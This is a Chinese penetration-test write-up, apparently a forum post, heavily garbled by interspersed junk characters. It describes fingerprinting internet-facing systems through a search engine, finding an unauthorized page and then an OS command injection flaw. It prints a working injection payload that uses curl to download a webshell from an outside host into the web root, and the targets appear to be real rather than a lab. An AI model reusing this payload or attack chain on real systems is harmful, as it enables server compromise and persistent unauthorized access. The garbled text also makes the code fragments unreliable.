9 k% `, B& F Z9 m' U**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**8 ]# }( `. b2 A! _. r }; J0 E
2 D: A8 C' Z. P* D
! |4 q' l# \" A6 a' B: g( H
5 ?% ]' l% z/ x' @4 D; \* g' s% D: Y. P. D- G
4 k( k% \5 }0 B; L2 T0 R+ T. Z
**发现reporter和[Technology, 8 e0 n4 `* a# \' WInc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。** X. J/ N. F v8 g3 {3 `6 s
3 F% `* N1 I& F4 p1 ^) c$ ^ 4 e8 p1 s2 K$ p' n) a$ m. @9 @% C. U
//print_r($param);8 H4 o7 `' n1 j
8 d( d. S& @3 R. F; o- c% B3 r+ Q5 M
/ H; G H, }; ^' l0 V
3 p& U) _( r4 R! x5 q" Q
//echo "\n--------------------------\n";2 [/ {% g: H+ x! I6 F
( h! ~$ S! g: M1 V
4 J; e% W9 l; M* b1 h+ T: q7 T
+ ?% C( C4 T7 R9 j5 a: Z
[if ($_GET ["method"] == / o# N) p8 {7 w! F"getList" || $_GET ["method"] == "import" || 8 _$ o, g; [# W) w6 Q$_GET ["method"] == "processAlarm") ](){- u8 d; _. h* U$ A' I3 N
h: [; x( O" D& j$ E$ o
7 t& d$ {) _& o/ u. P+ r' r0 w Z B" t1 z" i3 f% d( t
$param 0 m- @3 y" Y) h$ i0 L% e- Y["user"] = $_SESSION ["s_userName"];- y' l9 a- q( Y4 d
& t1 P3 R. V" L2 d7 }. p% s" O0 P9 h! R6 c# w
; J5 S& A+ E+ t$ w% b% E3 s $param5 W' I( t# Y& _' n) f& G3 M" D( I! h
["lan"] = $_SESSION ["lan"]; 9 Z9 I8 Q4 Y8 I1 [ 5 l, Q; q0 ^7 W" }7 t# {# {; z. x 7 t8 o2 N- b& T/ ~& _ 2 [6 @- w$ z! p4 c0 v6 ^ $param ! y) @1 J9 G1 q6 @. Z8 h["regUserpath"] = $_SESSION ["regUserpath"]; . V/ E5 E: y- b% e( u1 k 5 i7 q& o/ m; ]* k- o i& v. r6 z( }* V6 ?8 l( b e- g( H
, L l4 x+ v X" o; K
* j. L0 Y3 |9 J/ R
% r5 L4 b+ @7 Z ! C! W J2 s( V, e8 ]' n, H3 D& y
exec ( 7 j8 J( u V( P) ?$ A4 k1 V"rm -rf /tmp/cache" );$ J- X, W j. n, z6 x# G5 u' c
7 l p) I$ m4 P; O
! _( u5 O. }. {* i, f) z. _**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:** , ^$ o+ E3 D& {3 e 8 y. n% k/ h0 l( I**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**' q! X+ R0 Z1 O
1 W9 |5 B7 J U2 O**我们用url解码如下:** 1 K* w/ O) ^7 m3 u 2 U/ a- B: h! h' G**|curl http://1.1.1.1/qYCwxRz1.zip -o ; j6 s, e; j! P. d* T8 h: U+ c/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o & E" |; ~+ o3 n7 _) D. d/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php) , }- e3 v8 ^4 O: n8 p, Y, ]2 o0 b1 u+ l, v. K- S7 \+ b
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**# O* Z K+ i4 k) O: N. d; L
( I* ]! [: O* f. {% l' ]
9 q$ m3 [; i& ?1 _" ?$ @, w
" Q+ P5 i( s! \) ^3 l
/ e I6 n! H+ N( p) L: {2 M. k8 b. Y \& o
+ w* J7 B- n) n' g: |
8 d- ?: A- p! p2 M. Y; q7 d
**三、总结** 0 }" U& _$ [% a9 \8 m1 H; T7 F& w7 P) G" ?& V) j- o: _% `
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。*** \- R1 c% v! [" X8 E* [- r
% c1 L. [! d. _- w** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! *** x% l+ ]' |$ [. E2 P8 J$ y0 R
[/md]